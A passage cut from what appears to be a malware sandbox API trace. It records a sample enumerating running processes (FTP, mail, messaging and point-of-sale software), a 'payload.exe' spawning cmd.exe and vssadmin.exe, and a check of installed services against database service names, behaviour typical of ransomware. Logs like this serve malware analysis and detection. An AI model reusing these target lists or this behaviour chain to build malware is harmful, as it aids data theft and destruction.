th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0078.256] lstrlenW (lpString="peaceful.exe") returned 12 [0078.256] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0078.257] lstrlenW (lpString="louise_threshold.exe") returned 20 [0078.257] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0078.257] lstrlenW (lpString="scannerhit.exe") returned 14 [0078.257] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0078.258] lstrlenW (lpString="3dftp.exe") returned 9 [0078.258] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0078.258] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0078.258] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0078.259] lstrlenW (lpString="alftp.exe") returned 9 [0078.259] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0078.259] lstrlenW (lpString="barca.exe") returned 9 [0078.259] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0078.260] lstrlenW (lpString="bitkinex.exe") returned 12 [0078.260] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0078.260] lstrlenW (lpString="coreftp.exe") returned 11 [0078.260] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0078.261] lstrlenW (lpString="far.exe") returned 7 [0078.261] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0078.261] lstrlenW (lpString="filezilla.exe") returned 13 [0078.261] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0078.262] lstrlenW (lpString="flashfxp.exe") returned 12 [0078.262] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0078.263] lstrlenW (lpString="fling.exe") returned 9 [0078.263] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0078.263] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0078.263] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0078.264] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0078.264] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0078.264] lstrlenW (lpString="icq.exe") returned 7 [0078.264] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0078.265] lstrlenW (lpString="leechftp.exe") returned 12 [0078.265] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0078.266] lstrlenW (lpString="ncftp.exe") returned 9 [0078.266] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0078.266] lstrlenW (lpString="notepad.exe") returned 11 [0078.266] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0078.267] lstrlenW (lpString="operamail.exe") returned 13 [0078.267] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0078.268] lstrlenW (lpString="pidgin.exe") returned 10 [0078.268] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0078.269] lstrlenW (lpString="scriptftp.exe") returned 13 [0078.269] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0078.270] lstrlenW (lpString="skype.exe") returned 9 [0078.270] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0078.270] lstrlenW (lpString="smartftp.exe") returned 12 [0078.270] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0078.271] lstrlenW (lpString="thunderbird.exe") returned 15 [0078.271] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0078.272] lstrlenW (lpString="totalcmd.exe") returned 12 [0078.272] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0078.273] lstrlenW (lpString="trillian.exe") returned 12 [0078.273] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0078.274] lstrlenW (lpString="webdrive.exe") returned 12 [0078.274] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0078.275] lstrlenW (lpString="whatsapp.exe") returned 12 [0078.275] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.276] lstrlenW (lpString="winscp.exe") returned 10 [0078.276] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.276] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0078.276] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.277] lstrlenW (lpString="active-charge.exe") returned 17 [0078.277] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.278] lstrlenW (lpString="accupos.exe") returned 11 [0078.278] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.279] lstrlenW (lpString="afr38.exe") returned 9 [0078.279] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.280] lstrlenW (lpString="aldelo.exe") returned 10 [0078.280] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.280] lstrlenW (lpString="ccv_server.exe") returned 14 [0078.280] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.281] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0078.281] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.282] lstrlenW (lpString="creditservice.exe") returned 17 [0078.282] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.282] lstrlenW (lpString="edcsvr.exe") returned 10 [0078.283] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.283] lstrlenW (lpString="fpos.exe") returned 8 [0078.283] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.284] lstrlenW (lpString="isspos.exe") returned 10 [0078.284] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.285] lstrlenW (lpString="mxslipstream.exe") returned 16 [0078.285] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.286] lstrlenW (lpString="omnipos.exe") returned 11 [0078.286] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.287] lstrlenW (lpString="spcwin.exe") returned 10 [0078.287] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.701] lstrlenW (lpString="spgagentservice.exe") returned 19 [0078.701] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.702] lstrlenW (lpString="utg2.exe") returned 8 [0078.702] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0078.702] lstrlenW (lpString="slope.exe") returned 9 [0078.702] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0078.703] lstrlenW (lpString="entered.exe") returned 11 [0078.703] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0078.703] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0078.704] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0078.704] lstrlenW (lpString="attach.exe") returned 10 [0078.704] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0078.705] lstrlenW (lpString="obligations.exe") returned 15 [0078.705] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.705] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.706] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.706] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.706] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.707] lstrlenW (lpString="taskhost.exe") returned 12 [0078.707] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0078.707] lstrlenW (lpString="payload.exe") returned 11 [0078.708] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.708] lstrlenW (lpString="cmd.exe") returned 7 [0078.708] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.709] lstrlenW (lpString="conhost.exe") returned 11 [0078.709] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0078.709] lstrlenW (lpString="vssadmin.exe") returned 12 [0078.709] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0078.710] lstrlenW (lpString="VSSVC.exe") returned 9 [0078.710] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.710] lstrlenW (lpString="svchost.exe") returned 11 [0078.710] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0078.713] lstrlenW (lpString="LogonUI.exe") returned 11 [0078.713] Process32NextW (in: hSnapshot=0x21c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0078.713] CloseHandle (hObject=0x21c) returned 1 [0078.714] Sleep (dwMilliseconds=0x1f4) [0079.561] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626e88 [0079.667] EnumServicesStatusExW (in: hSCManager=0x626e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0079.671] GetLastError () returned 0xea [0079.671] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12c6) returned 0x628500 [0079.672] EnumServicesStatusExW (in: hSCManager=0x626e88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0079.703] CloseServiceHandle (hSCObject=0x626e88) returned 1 [0079.704] lstrlenW (lpString="Appinfo") returned 7 [0079.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0079.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0079.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0079.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0079.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0079.704] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0079.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.704] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0079.704] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0079.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0079.704] lstrlenW (lpString="AudioSrv") returned 8 [0079.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0079.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0079.704] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0079.704] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0079.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0079.704] lstrlenW (lpString="BFE") returned 3 [0079.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0079.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0079.705] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0079.705] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0079.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0079.705] lstrlenW (lpString="CryptSvc") returned 8 [0079.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0079.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0079.705] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0079.705] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0079.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0079.705] lstrlenW (lpString="CscService") returned 10 [0079.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 